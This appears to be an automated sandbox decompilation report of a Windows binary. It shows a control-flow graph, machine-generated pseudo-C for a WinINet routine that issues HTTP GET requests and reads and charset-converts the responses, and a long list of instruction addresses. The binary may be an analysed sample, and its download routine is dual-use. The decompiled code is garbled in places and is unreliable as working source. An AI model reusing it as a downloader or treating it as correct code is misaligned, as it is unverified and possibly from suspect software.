                                                          control_flow_graph 3048 401b30-401bf3 InternetSetFilePointer InternetReadFile 3050 401c2d-401c70 call 410b00 HttpQueryInfoA 3048->3050 3054 401fd5-402003 call 40ebbf 3050->3054 3055 401c76-401ca9 CoCreateInstance 3050->3055 3055->3054 3057 401caf-401cb6 3055->3057 3057->3054 3059 401cbc-401cea 3057->3059 3060 401cf0-401cf5 3059->3060 3060->3060 3061 401cf7-401db8 call 4026b0 MultiByteToWideChar call 40ee0d MultiByteToWideChar 3060->3061 3066 401dc0-401dc9 3061->3066 3066->3066 3067 401dcb-401e89 call 402550 call 40ebcd 3066->3067 3074 401eba-401ebc 3067->3074 3075 401e8b-401e9a 3067->3075 3076 401ec2-401ec9 3074->3076 3077 401fc9-401fd0 3074->3077 3078 401eb0-401eb7 call 40edff 3075->3078 3079 401e9c-401eaa 3075->3079 3076->3077 3082 401ecf-401f43 call 40ee0d 3076->3082 3077->3054 3078->3074 3079->3078 3080 402006-40200b call 413527 3079->3080 3089 401f45-401f53 3082->3089 3090 401faf-401fc5 call 40ebcd 3082->3090 3092 401f55-401f8b call 40ee0d call 401760 call 40ebcd 3089->3092 3093 401f8d 3089->3093 3090->3077 3094 401f90-401fac call 401760 3092->3094 3093->3094 3094->3090
                                                          C-Code - Quality: 70%
                                                          			E00401B30(void* __ebx, void* __ecx, void* __edi, void* _a4) {
                                                          				intOrPtr _v4;
                                                          				char* _v8;
                                                          				char* _v12;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				signed int _v24;
                                                          				signed int _v28;
                                                          				signed int _v32;
                                                          				void* _v36;
                                                          				char _v52;
                                                          				void _v56;
                                                          				intOrPtr _v60;
                                                          				char* _v64;
                                                          				char* _v80;
                                                          				intOrPtr _v84;
                                                          				signed int _v88;
                                                          				void* _v92;
                                                          				void _v288;
                                                          				int _v292;
                                                          				long _v296;
                                                          				char* _v300;
                                                          				char _v316;
                                                          				char* _v320;
                                                          				char* _v324;
                                                          				short* _v328;
                                                          				char* _v332;
                                                          				char* _v336;
                                                          				char* _v340;
                                                          				char* _v356;
                                                          				signed int _v360;
                                                          				char* _v364;
                                                          				char* _v380;
                                                          				intOrPtr* _v488;
                                                          				char _v508;
                                                          				signed int _v516;
                                                          				intOrPtr _v520;
                                                          				char* _v524;
                                                          				char* _v540;
                                                          				intOrPtr _v544;
                                                          				char* _v572;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t210;
                                                          				signed int _t211;
                                                          				int _t218;
                                                          				char* _t219;
                                                          				char* _t230;
                                                          				intOrPtr _t231;
                                                          				short* _t238;
                                                          				short _t241;
                                                          				intOrPtr* _t244;
                                                          				void* _t245;
                                                          				char* _t247;
                                                          				short* _t251;
                                                          				char* _t256;
                                                          				char* _t266;
                                                          				signed int _t273;
                                                          				signed int _t275;
                                                          				void* _t281;
                                                          				intOrPtr _t294;
                                                          				signed int _t299;
                                                          				char* _t300;
                                                          				void* _t308;
                                                          				signed int _t313;
                                                          				void* _t319;
                                                          				char* _t322;
                                                          				intOrPtr _t330;
                                                          				int _t332;
                                                          				void* _t333;
                                                          				void* _t334;
                                                          				void* _t336;
                                                          				char* _t337;
                                                          				signed int _t338;
                                                          				void* _t340;
                                                          				intOrPtr _t341;
                                                          				void* _t343;
                                                          				void* _t344;
                                                          				intOrPtr* _t353;
                                                          				int _t357;
                                                          				short* _t364;
                                                          				void* _t371;
                                                          				char* _t373;
                                                          				char* _t376;
                                                          				intOrPtr* _t377;
                                                          				char _t391;
                                                          				char* _t393;
                                                          				char* _t400;
                                                          				void* _t404;
                                                          				short* _t407;
                                                          				signed int _t410;
                                                          				char* _t414;
                                                          				intOrPtr* _t416;
                                                          				intOrPtr _t418;
                                                          				signed int _t419;
                                                          				void* _t420;
                                                          				void* _t423;
                                                          				void* _t425;
                                                          				void* _t426;
                                                          				int _t427;
                                                          				short* _t428;
                                                          				void* _t430;
                                                          				intOrPtr _t432;
                                                          				signed int _t433;
                                                          				signed int _t434;
                                                          				void* _t436;
                                                          				intOrPtr* _t437;
                                                          				intOrPtr _t438;
                                                          				void* _t440;
                                                          				void* _t441;
                                                          				void* _t442;
                                                          				void* _t443;
                                                          				void* _t444;
                                                          				intOrPtr _t445;
                                                          				void* _t447;
                                                          				void* _t448;
                                                          				signed int _t451;
                                                          				signed int _t452;
                                                          				void* _t454;
                                                          				void* _t455;
                                                          				void* _t456;
                                                          				void* _t457;
                                                          				signed int _t458;
                                                          				void* _t459;
                                                          				void* _t461;
                                                          				void* _t462;
                                                          
                                                          				_push(0xffffffff);
                                                          				_push(0x42c2cb);
                                                          				_push( *[fs:0x0]);
                                                          				_t455 = _t454 - 0x170;
                                                          				_t210 =  *0x43d054; // 0x6e36c9b5
                                                          				_t211 = _t210 ^ _t451;
                                                          				_v24 = _t211;
                                                          				_push(__ebx);
                                                          				_push(__edi);
                                                          				_push(_t211);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_t440 = __ecx;
                                                          				_t466 =  *((intOrPtr*)(__ecx + 0x28));
                                                          				_t425 = _a4;
                                                          				_v328 = _t425;
                                                          				if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
                                                          					_v332 =  *((intOrPtr*)(__ecx + 0x34));
                                                          				} else {
                                                          					 *((intOrPtr*)(__ecx + 0x30)) = 0x7800;
                                                          					_t330 = E0040EE0D(_t425, __ecx, _t466, 0x7800);
                                                          					_t455 = _t455 + 4;
                                                          					 *((intOrPtr*)(_t440 + 0x28)) = _t330;
                                                          					 *(_t440 + 0x34) = 0;
                                                          					_v332 = 0;
                                                          				}
                                                          				_v296 = 0;
                                                          				InternetSetFilePointer(_t425, 0, 0, 0, 0);
                                                          				do {
                                                          					_t218 = InternetReadFile(_t425,  &(( *(_t440 + 0x34))[ *((intOrPtr*)(_t440 + 0x28))]), 0x3e8,  &_v296); // executed
                                                          					_t403 = _v296;
                                                          					_t332 = _t218;
                                                          					_t219 =  *(_t440 + 0x30);
                                                          					 *(_t440 + 0x34) =  &(( *(_t440 + 0x34))[_t403]);
                                                          					_t467 = _t219 -  *(_t440 + 0x34) - 0x3e8;
                                                          					if(_t219 -  *(_t440 + 0x34) <= 0x3e8) {
                                                          						 *(_t440 + 0x30) =  &(_t219[0x7800]);
                                                          						_t438 = E0040EE0D(_t425, _t440, _t467,  &(_t219[0x7800]));
                                                          						E004104C0(_t438,  *((intOrPtr*)(_t440 + 0x28)),  &(( *(_t440 + 0x34))[1]));
                                                          						L0040EBCD( *((intOrPtr*)(_t440 + 0x28)));
                                                          						_t403 = _v296;
                                                          						_t455 = _t455 + 0x14;
                                                          						 *((intOrPtr*)(_t440 + 0x28)) = _t438;
                                                          						_t425 = _v328;
                                                          					}
                                                          				} while (_t332 != 0 && _t403 != 0);
                                                          				_v296 = 0x103;
                                                          				E00410B00(_t425,  &_v288, 0, 0x104);
                                                          				_t456 = _t455 + 0xc;
                                                          				if(HttpQueryInfoA(_t425, 0x1d,  &_v288,  &_v296, 0) == 0) {
                                                          					L32:
                                                          					( *(_t440 + 0x34))[ *((intOrPtr*)(_t440 + 0x28))] = 0;
                                                          					 *[fs:0x0] = _v16;
                                                          					_pop(_t426);
                                                          					_pop(_t441);
                                                          					_pop(_t333);
                                                          					return E0040EBBF( *(_t440 + 0x34) - _v332, _t333, _v24 ^ _t451, _t403, _t426, _t441);
                                                          				} else {
                                                          					_v324 = 0;
                                                          					_t230 =  &_v316;
                                                          					_v320 = 0;
                                                          					__imp__CoCreateInstance(_t230, 0, 1, 0x42e2c0,  &_v324);
                                                          					if(_t230 < 0 || _v324 == 0) {
                                                          						goto L32;
                                                          					} else {
                                                          						_t353 =  &_v288;
                                                          						_v356 = 0;
                                                          						_v340 = 0;
                                                          						_t404 = _t353 + 1;
                                                          						_v336 = 0xf;
                                                          						_v356 = 0;
                                                          						asm("o16 nop [eax+eax]");
                                                          						do {
                                                          							_t231 =  *_t353;
                                                          							_t353 = _t353 + 1;
                                                          						} while (_t231 != 0);
                                                          						E004026B0(_t332,  &_v356,  &_v288, _t353 - _t404);
                                                          						_v8 = 0;
                                                          						_t334 = MultiByteToWideChar;
                                                          						_t357 =  &(_v340[1]);
                                                          						_t235 =  >=  ? _v356 :  &_v356;
                                                          						_v292 = _t357;
                                                          						_t427 = MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _t357, 0, 0);
                                                          						_t238 = E0040EE0D(_t427, _t440, _v336 - 0x10,  ~(0 | _v336 - 0x00000010 > 0x00000000) | _t236 * 0x00000002);
                                                          						_t457 = _t456 + 4;
                                                          						_v328 = _t238;
                                                          						_t363 =  >=  ? _v356 :  &_v356;
                                                          						_t428 = _t238;
                                                          						MultiByteToWideChar(0, 0,  >=  ? _v356 :  &_v356, _v292, _t428, _t427);
                                                          						_t364 = _t428;
                                                          						_v380 = 0;
                                                          						_v364 = 0;
                                                          						_v360 = 7;
                                                          						_v380 = 0;
                                                          						_t66 =  &(_t364[1]); // 0x2
                                                          						_t407 = _t66;
                                                          						do {
                                                          							_t241 =  *_t364;
                                                          							_t364 =  &(_t364[1]);
                                                          						} while (_t241 != 0);
                                                          						E00402550(MultiByteToWideChar,  &_v380, _t428);
                                                          						L0040EBCD(_t428);
                                                          						_t458 = _t457 + 4;
                                                          						_v8 = 1;
                                                          						_t244 = _v324;
                                                          						_t409 =  >=  ? _v380 :  &_v380;
                                                          						_t245 =  *((intOrPtr*)( *_t244 + 0x10))(_t244,  >=  ? _v380 :  &_v380, L"text",  &_v320, _t364 - _t407 >> 1);
                                                          						_v8 = 0;
                                                          						_t430 = _t245;
                                                          						_t410 = _v360;
                                                          						if(_t410 < 8) {
                                                          							L19:
                                                          							_v8 = 0xffffffff;
                                                          							_t403 = _v336;
                                                          							_v364 = 0;
                                                          							_v360 = 7;
                                                          							_v380 = 0;
                                                          							if(_t403 < 0x10) {
                                                          								L23:
                                                          								if(_t430 >= 0) {
                                                          									_t487 = _v320;
                                                          									if(_v320 != 0) {
                                                          										_t336 = ( *(_t440 + 0x34) - _v332) * 8 -  *(_t440 + 0x34) - _v332;
                                                          										_t251 = E0040EE0D(_t430, _t440, _t487, _t336);
                                                          										_t459 = _t458 + 4;
                                                          										_t371 =  *(_t440 + 0x34) - _v332;
                                                          										_v292 = 0;
                                                          										_push(0);
                                                          										_v300 = 0;
                                                          										_t431 =  *_v320;
                                                          										_push( &_v292);
                                                          										_v328 = _t251;
                                                          										_push( &_v300);
                                                          										_t403 = _v320;
                                                          										_push(_t371);
                                                          										_push(_t251);
                                                          										_push(_t336);
                                                          										_t337 = _v332;
                                                          										_push( *((intOrPtr*)(_t440 + 0x28)) + _t337);
                                                          										_push(_t371);
                                                          										_push(0);
                                                          										_push(_v320);
                                                          										if( *((intOrPtr*)( *_v320 + 0x10))() >= 0) {
                                                          											_t258 = _v292;
                                                          											_t414 =  *(_t440 + 0x30);
                                                          											_t373 =  &(_t337[_v292]);
                                                          											_t489 = _t414 - _t373;
                                                          											if(_t414 > _t373) {
                                                          												_t432 =  *((intOrPtr*)(_t440 + 0x28));
                                                          											} else {
                                                          												 *(_t440 + 0x30) =  &(_t373[0x3e8]);
                                                          												_t432 = E0040EE0D(_t431, _t440, _t489,  &(_t373[0x3e8]));
                                                          												E00401760(_t432,  *(_t440 + 0x30),  *((intOrPtr*)(_t440 + 0x28)), _t337);
                                                          												L0040EBCD( *((intOrPtr*)(_t440 + 0x28)));
                                                          												_t414 =  *(_t440 + 0x30);
                                                          												_t459 = _t459 + 0x10;
                                                          												_t258 = _v292;
                                                          												 *((intOrPtr*)(_t440 + 0x28)) = _t432;
                                                          											}
                                                          											_t403 = _t414 - _t337;
                                                          											E00401760(_t432 + _t337, _t414 - _t337, _v328, _t258);
                                                          											_t459 = _t459 + 8;
                                                          											 *(_t440 + 0x34) =  &(_t337[_v292]);
                                                          										}
                                                          										L0040EBCD(_v328);
                                                          										_t256 = _v320;
                                                          										 *((intOrPtr*)( *_t256 + 8))(_t256);
                                                          									}
                                                          								}
                                                          								_t247 = _v324;
                                                          								 *((intOrPtr*)( *_t247 + 8))(_t247);
                                                          								goto L32;
                                                          							} else {
                                                          								_t376 = _v356;
                                                          								_t403 = _t403 + 1;
                                                          								_t266 = _t376;
                                                          								if(_t403 < 0x1000) {
                                                          									L22:
                                                          									_push(_t403);
                                                          									E0040EDFF(_t376);
                                                          									_t458 = _t458 + 8;
                                                          									goto L23;
                                                          								} else {
                                                          									_t376 =  *(_t376 - 4);
                                                          									_t403 = _t403 + 0x23;
                                                          									if(_t266 - _t376 + 0xfffffffc > 0x1f) {
                                                          										goto L33;
                                                          									} else {
                                                          										goto L22;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t400 = _v380;
                                                          							_t423 = 2 + _t410 * 2;
                                                          							_t322 = _t400;
                                                          							if(_t423 < 0x1000) {
                                                          								L18:
                                                          								_push(_t423);
                                                          								E0040EDFF(_t400);
                                                          								_t458 = _t458 + 8;
                                                          								goto L19;
                                                          							} else {
                                                          								_t376 =  *(_t400 - 4);
                                                          								_t403 = _t423 + 0x23;
                                                          								if(_t322 - _t376 + 0xfffffffc > 0x1f) {
                                                          									L33:
                                                          									E00413527(_t334, _t403, __eflags);
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									asm("int3");
                                                          									_push(_t451);
                                                          									_t452 = _t458;
                                                          									_push(0xffffffff);
                                                          									_push(0x42c315);
                                                          									_push( *[fs:0x0]);
                                                          									_t461 = _t458 - 0x48;
                                                          									_t273 =  *0x43d054 ^ _t452;
                                                          									__eflags = _t273;
                                                          									_v516 = _t273;
                                                          									_push(_t334);
                                                          									_push(_t440);
                                                          									_push(_t430);
                                                          									_push(_t273);
                                                          									 *[fs:0x0] =  &_v508;
                                                          									_v572 = _t376;
                                                          									_t416 = _v488;
                                                          									_t377 = _t416;
                                                          									_v540 = 0;
                                                          									_v544 = _t416;
                                                          									_v524 = 0;
                                                          									_v520 = 0xf;
                                                          									_t442 = _t377 + 1;
                                                          									_v540 = 0;
                                                          									do {
                                                          										_t275 =  *_t377;
                                                          										_t377 = _t377 + 1;
                                                          										__eflags = _t275;
                                                          									} while (_t275 != 0);
                                                          									E004026B0(_t334,  &_v52, _t416, _t377 - _t442);
                                                          									_v12 = 0;
                                                          									_t338 = _v32;
                                                          									__eflags = _t338 - 0x10;
                                                          									_t443 = _v36;
                                                          									_t417 = _t443;
                                                          									_t381 =  >=  ? _v52 :  &_v52;
                                                          									_t433 = E00402890( >=  ? _v52 :  &_v52, _t443,  >=  ? _v52 :  &_v52, "http://", 7);
                                                          									_t462 = _t461 + 0xc;
                                                          									__eflags = _t433 - 0xffffffff;
                                                          									if(_t433 == 0xffffffff) {
                                                          										L39:
                                                          										__eflags = _v32 - 0x10;
                                                          										_t340 =  >=  ? _v52 :  &_v52;
                                                          										__eflags = _t443;
                                                          										if(_t443 == 0) {
                                                          											L42:
                                                          											_t434 = _t433 | 0xffffffff;
                                                          											__eflags = _t434;
                                                          										} else {
                                                          											_t433 = E00410A50(_t340, 0x2f, _t443);
                                                          											_t462 = _t462 + 0xc;
                                                          											__eflags = _t433;
                                                          											if(_t433 == 0) {
                                                          												goto L42;
                                                          											} else {
                                                          												_t434 = _t433 - _t340;
                                                          											}
                                                          										}
                                                          										__eflags = _t443 - _t434;
                                                          										_v80 = 0;
                                                          										_v64 = 0;
                                                          										_t383 =  <  ? _t443 : _t434;
                                                          										_v60 = 0xf;
                                                          										__eflags = _v32 - 0x10;
                                                          										_t279 =  >=  ? _v52 :  &_v52;
                                                          										_v80 = 0;
                                                          										E004026B0(_t340,  &_v80,  >=  ? _v52 :  &_v52,  <  ? _t443 : _t434);
                                                          										_v12 = 1;
                                                          										_t281 = _v36;
                                                          										__eflags = _t281 - _t434;
                                                          										_t435 =  <  ? _t281 : _t434;
                                                          										__eflags = _v32 - 0x10;
                                                          										_t386 =  >=  ? _v52 :  &_v52;
                                                          										_t282 = _t281 - ( <  ? _t281 : _t434);
                                                          										_v36 = _t281 - ( <  ? _t281 : _t434);
                                                          										E004104C0( >=  ? _v52 :  &_v52,  &(( >=  ? _v52 :  &_v52)[ <  ? _t281 : _t434]), _t281 - ( <  ? _t281 : _t434) + 1);
                                                          										_t341 = _v84;
                                                          										_v88 = 0;
                                                          										E00413604(_t341 + 0x44, 0x104, _v56, 0x103);
                                                          										_t462 = _t462 + 0x1c;
                                                          										asm("sbb eax, eax");
                                                          										_t443 = InternetOpenA( *(_t341 + 0xc),  ~( *(_t341 + 0x38)) & 0x00000003,  *(_t341 + 0x38), 0, 0);
                                                          										_v92 = _t443;
                                                          										__eflags = _t443;
                                                          										if(_t443 != 0) {
                                                          											_v56 = 1;
                                                          											InternetSetOptionA(_t443, 0x41,  &_v56, 4);
                                                          											__eflags = _v60 - 0x10;
                                                          											_t307 =  >=  ? _v80 :  &_v80;
                                                          											_t308 = InternetConnectA(_t443,  >=  ? _v80 :  &_v80, 0x50,  *(_t341 + 0x3c),  *(_t341 + 0x40), 3, 0, 1);
                                                          											_t437 = InternetCloseHandle;
                                                          											_t344 = _t308;
                                                          											__eflags = _t344;
                                                          											if(_t344 != 0) {
                                                          												__eflags = _v32 - 0x10;
                                                          												_t395 =  >=  ? _v52 :  &_v52;
                                                          												_t447 = HttpOpenRequestA(_t344, "GET",  >=  ? _v52 :  &_v52, 0, 0, 0, 0x80400000, 1);
                                                          												__eflags = _t447;
                                                          												if(__eflags != 0) {
                                                          													E004019F0(_t344, InternetCloseHandle, __eflags, _t447);
                                                          													_t313 = HttpSendRequestA(_t447, 0, 0, 0, 0);
                                                          													__eflags = _t313;
                                                          													if(_t313 != 0) {
                                                          														_v88 = E00401B30(_t344, _v84, InternetCloseHandle, _t447);
                                                          													}
                                                          													 *_t437(_t447);
                                                          												}
                                                          												 *_t437(_t344);
                                                          												_t443 = _v92;
                                                          											}
                                                          											 *_t437(_t443);
                                                          										}
                                                          										_t418 = _v60;
                                                          										__eflags = _v88;
                                                          										_t338 = 0 | _v88 > 0x00000000;
                                                          										__eflags = _t418 - 0x10;
                                                          										if(_t418 < 0x10) {
                                                          											L55:
                                                          											_t419 = _v32;
                                                          											_v64 = 0;
                                                          											_v60 = 0xf;
                                                          											_v80 = 0;
                                                          											__eflags = _t419 - 0x10;
                                                          											if(_t419 < 0x10) {
                                                          												L59:
                                                          												 *[fs:0x0] = _v20;
                                                          												_pop(_t436);
                                                          												_pop(_t444);
                                                          												_pop(_t343);
                                                          												__eflags = _v28 ^ _t452;
                                                          												return E0040EBBF(_t338, _t343, _v28 ^ _t452, _t419, _t436, _t444);
                                                          											} else {
                                                          												_t391 = _v52;
                                                          												_t419 = _t419 + 1;
                                                          												_t294 = _t391;
                                                          												__eflags = _t419 - 0x1000;
                                                          												if(_t419 < 0x1000) {
                                                          													L58:
                                                          													_push(_t419);
                                                          													E0040EDFF(_t391);
                                                          													goto L59;
                                                          												} else {
                                                          													_t391 =  *((intOrPtr*)(_t391 - 4));
                                                          													_t419 = _t419 + 0x23;
                                                          													__eflags = _t294 - _t391 + 0xfffffffc - 0x1f;
                                                          													if(__eflags > 0) {
                                                          														goto L61;
                                                          													} else {
                                                          														goto L58;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t393 = _v80;
                                                          											_t420 = _t418 + 1;
                                                          											_t300 = _t393;
                                                          											__eflags = _t420 - 0x1000;
                                                          											if(_t420 < 0x1000) {
                                                          												L54:
                                                          												_push(_t420);
                                                          												E0040EDFF(_t393);
                                                          												_t462 = _t462 + 8;
                                                          												goto L55;
                                                          											} else {
                                                          												_t391 =  *((intOrPtr*)(_t393 - 4));
                                                          												_t419 = _t420 + 0x23;
                                                          												__eflags = _t300 - _t391 + 0xfffffffc - 0x1f;
                                                          												if(__eflags > 0) {
                                                          													goto L61;
                                                          												} else {
                                                          													goto L54;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										__eflags = _t443 - _t433;
                                                          										if(_t443 < _t433) {
                                                          											E004027F0(_t381, _t417);
                                                          											L61:
                                                          											E00413527(_t338, _t419, __eflags);
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											asm("int3");
                                                          											_push(_t452);
                                                          											_push(_t443);
                                                          											_t445 = _t391;
                                                          											_t299 =  *(_t445 + 0x2c);
                                                          											 *(_t445 + 0x34) = 0;
                                                          											__eflags = _t299;
                                                          											if(_t299 != 0) {
                                                          												_t299 = L0040EBCD(_t299);
                                                          												 *(_t445 + 0x2c) = 0;
                                                          											}
                                                          											_push(_v4);
                                                          											L34();
                                                          											return _t299;
                                                          										} else {
                                                          											_t319 = _t443 - _t433;
                                                          											__eflags = _t319 - 7;
                                                          											_t422 =  <  ? _t319 : 7;
                                                          											__eflags = _t338 - 0x10;
                                                          											_t398 =  >=  ? _v52 :  &_v52;
                                                          											_t448 = _t443 - 7;
                                                          											_t399 =  &(( >=  ? _v52 :  &_v52)[_t433]);
                                                          											_v36 = _t448;
                                                          											__eflags = _t448 - _t433 + 1;
                                                          											E004104C0( &(( >=  ? _v52 :  &_v52)[_t433]),  &(( &(( >=  ? _v52 :  &_v52)[_t433]))[ <  ? _t319 : 7]), _t448 - _t433 + 1);
                                                          											_t443 = _v36;
                                                          											_t462 = _t462 + 0xc;
                                                          											goto L39;
                                                          										}
                                                          									}
                                                          								} else {
                                                          									goto L18;
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          			}
































































































































                                                          0x00401b33
                                                          0x00401b35
                                                          0x00401b40
                                                          0x00401b41
                                                          0x00401b47
                                                          0x00401b4c
                                                          0x00401b4e
                                                          0x00401b51
                                                          0x00401b53
                                                          0x00401b54
                                                          0x00401b58
                                                          0x00401b5e
                                                          0x00401b60
                                                          0x00401b64
                                                          0x00401b67
                                                          0x00401b6d
                                                          0x00401b9c
                                                          0x00401b6f
                                                          0x00401b74
                                                          0x00401b7b
                                                          0x00401b80
                                                          0x00401b83
                                                          0x00401b86
                                                          0x00401b8d
                                                          0x00401b8d
                                                          0x00401bab
                                                          0x00401bb5
                                                          0x00401bc0
                                                          0x00401bd4
                                                          0x00401bda
                                                          0x00401be0
                                                          0x00401be2
                                                          0x00401be7
                                                          0x00401bed
                                                          0x00401bf3
                                                          0x00401bfb
                                                          0x00401c06
                                                          0x00401c0e
                                                          0x00401c16
                                                          0x00401c1b
                                                          0x00401c21
                                                          0x00401c24
                                                          0x00401c27
                                                          0x00401c27
                                                          0x00401c2d
                                                          0x00401c40
                                                          0x00401c4d
                                                          0x00401c52
                                                          0x00401c70
                                                          0x00401fd5
                                                          0x00401fdb
                                                          0x00401feb
                                                          0x00401ff3
                                                          0x00401ff4
                                                          0x00401ff5
                                                          0x00402003
                                                          0x00401c76
                                                          0x00401c7c
                                                          0x00401c90
                                                          0x00401c96
                                                          0x00401ca1
                                                          0x00401ca9
                                                          0x00000000
                                                          0x00401cbc
                                                          0x00401cbc
                                                          0x00401cc2
                                                          0x00401ccc
                                                          0x00401cd6
                                                          0x00401cd9
                                                          0x00401ce3
                                                          0x00401cea
                                                          0x00401cf0
                                                          0x00401cf0
                                                          0x00401cf2
                                                          0x00401cf3
                                                          0x00401d07
                                                          0x00401d0c
                                                          0x00401d1f
                                                          0x00401d25
                                                          0x00401d2f
                                                          0x00401d3e
                                                          0x00401d48
                                                          0x00401d59
                                                          0x00401d5e
                                                          0x00401d61
                                                          0x00401d74
                                                          0x00401d7c
                                                          0x00401d8a
                                                          0x00401d8c
                                                          0x00401d8e
                                                          0x00401d9a
                                                          0x00401da4
                                                          0x00401dae
                                                          0x00401db5
                                                          0x00401db5
                                                          0x00401dc0
                                                          0x00401dc0
                                                          0x00401dc3
                                                          0x00401dc6
                                                          0x00401dd7
                                                          0x00401ddd
                                                          0x00401de2
                                                          0x00401de5
                                                          0x00401def
                                                          0x00401e03
                                                          0x00401e13
                                                          0x00401e16
                                                          0x00401e1a
                                                          0x00401e1c
                                                          0x00401e25
                                                          0x00401e5c
                                                          0x00401e5e
                                                          0x00401e65
                                                          0x00401e6b
                                                          0x00401e75
                                                          0x00401e7f
                                                          0x00401e89
                                                          0x00401eba
                                                          0x00401ebc
                                                          0x00401ec2
                                                          0x00401ec9
                                                          0x00401edf
                                                          0x00401ee2
                                                          0x00401eed
                                                          0x00401ef3
                                                          0x00401ef9
                                                          0x00401f03
                                                          0x00401f05
                                                          0x00401f0f
                                                          0x00401f17
                                                          0x00401f1e
                                                          0x00401f24
                                                          0x00401f25
                                                          0x00401f2b
                                                          0x00401f2c
                                                          0x00401f30
                                                          0x00401f31
                                                          0x00401f39
                                                          0x00401f3a
                                                          0x00401f3b
                                                          0x00401f3d
                                                          0x00401f43
                                                          0x00401f45
                                                          0x00401f4b
                                                          0x00401f4e
                                                          0x00401f51
                                                          0x00401f53
                                                          0x00401f8d
                                                          0x00401f55
                                                          0x00401f5c
                                                          0x00401f67
                                                          0x00401f6f
                                                          0x00401f77
                                                          0x00401f7c
                                                          0x00401f7f
                                                          0x00401f82
                                                          0x00401f88
                                                          0x00401f88
                                                          0x00401f97
                                                          0x00401f9c
                                                          0x00401fa7
                                                          0x00401fac
                                                          0x00401fac
                                                          0x00401fb5
                                                          0x00401fba
                                                          0x00401fc6
                                                          0x00401fc6
                                                          0x00401ec9
                                                          0x00401fc9
                                                          0x00401fd2
                                                          0x00000000
                                                          0x00401e8b
                                                          0x00401e8b
                                                          0x00401e91
                                                          0x00401e92
                                                          0x00401e9a
                                                          0x00401eb0
                                                          0x00401eb0
                                                          0x00401eb2
                                                          0x00401eb7
                                                          0x00000000
                                                          0x00401e9c
                                                          0x00401e9c
                                                          0x00401e9f
                                                          0x00401eaa
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00401eaa
                                                          0x00401e9a
                                                          0x00401e27
                                                          0x00401e27
                                                          0x00401e2d
                                                          0x00401e34
                                                          0x00401e3c
                                                          0x00401e52
                                                          0x00401e52
                                                          0x00401e54
                                                          0x00401e59
                                                          0x00000000
                                                          0x00401e3e
                                                          0x00401e3e
                                                          0x00401e41
                                                          0x00401e4c
                                                          0x00402006
                                                          0x00402006
                                                          0x0040200b
                                                          0x0040200c
                                                          0x0040200d
                                                          0x0040200e
                                                          0x0040200f
                                                          0x00402010
                                                          0x00402011
                                                          0x00402013
                                                          0x00402015
                                                          0x00402020
                                                          0x00402021
                                                          0x00402029
                                                          0x00402029
                                                          0x0040202b
                                                          0x0040202e
                                                          0x0040202f
                                                          0x00402030
                                                          0x00402031
                                                          0x00402035
                                                          0x0040203b
                                                          0x0040203e
                                                          0x00402041
                                                          0x00402043
                                                          0x0040204a
                                                          0x0040204d
                                                          0x00402054
                                                          0x0040205b
                                                          0x0040205e
                                                          0x00402062
                                                          0x00402062
                                                          0x00402064
                                                          0x00402065
                                                          0x00402065
                                                          0x00402070
                                                          0x00402075
                                                          0x0040207f
                                                          0x00402082
                                                          0x00402085
                                                          0x00402088
                                                          0x0040208a
                                                          0x0040209b
                                                          0x0040209d
                                                          0x004020a0
                                                          0x004020a3
                                                          0x004020e0
                                                          0x004020e0
                                                          0x004020e7
                                                          0x004020eb
                                                          0x004020ed
                                                          0x00402105
                                                          0x00402105
                                                          0x00402105
                                                          0x004020ef
                                                          0x004020f8
                                                          0x004020fa
                                                          0x004020fd
                                                          0x004020ff
                                                          0x00000000
                                                          0x00402101
                                                          0x00402101
                                                          0x00402101
                                                          0x004020ff
                                                          0x00402108
                                                          0x0040210a
                                                          0x00402113
                                                          0x0040211a
                                                          0x0040211d
                                                          0x00402124
                                                          0x0040212c
                                                          0x00402134
                                                          0x00402138
                                                          0x0040213d
                                                          0x00402144
                                                          0x00402147
                                                          0x00402149
                                                          0x0040214c
                                                          0x00402150
                                                          0x00402154
                                                          0x00402156
                                                          0x00402160
                                                          0x00402165
                                                          0x0040216b
                                                          0x00402183
                                                          0x0040218b
                                                          0x00402195
                                                          0x004021a4
                                                          0x004021a6
                                                          0x004021a9
                                                          0x004021ab
                                                          0x004021b6
                                                          0x004021c1
                                                          0x004021c7
                                                          0x004021d0
                                                          0x004021e2
                                                          0x004021e8
                                                          0x004021ee
                                                          0x004021f0
                                                          0x004021f2
                                                          0x004021f4
                                                          0x004021fd
                                                          0x00402219
                                                          0x0040221b
                                                          0x0040221d
                                                          0x00402220
                                                          0x0040222e
                                                          0x00402234
                                                          0x00402236
                                                          0x00402241
                                                          0x00402241
                                                          0x00402245
                                                          0x00402245
                                                          0x00402248
                                                          0x0040224a
                                                          0x0040224a
                                                          0x0040224e
                                                          0x0040224e
                                                          0x00402250
                                                          0x00402255
                                                          0x00402258
                                                          0x0040225b
                                                          0x0040225e
                                                          0x00402288
                                                          0x00402288
                                                          0x0040228b
                                                          0x00402292
                                                          0x00402299
                                                          0x0040229d
                                                          0x004022a0
                                                          0x004022ca
                                                          0x004022cf
                                                          0x004022d7
                                                          0x004022d8
                                                          0x004022d9
                                                          0x004022dd
                                                          0x004022e7
                                                          0x004022a2
                                                          0x004022a2
                                                          0x004022a5
                                                          0x004022a6
                                                          0x004022a8
                                                          0x004022ae
                                                          0x004022c0
                                                          0x004022c0
                                                          0x004022c2
                                                          0x00000000
                                                          0x004022b0
                                                          0x004022b0
                                                          0x004022b3
                                                          0x004022bb
                                                          0x004022be
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004022be
                                                          0x004022ae
                                                          0x00402260
                                                          0x00402260
                                                          0x00402263
                                                          0x00402264
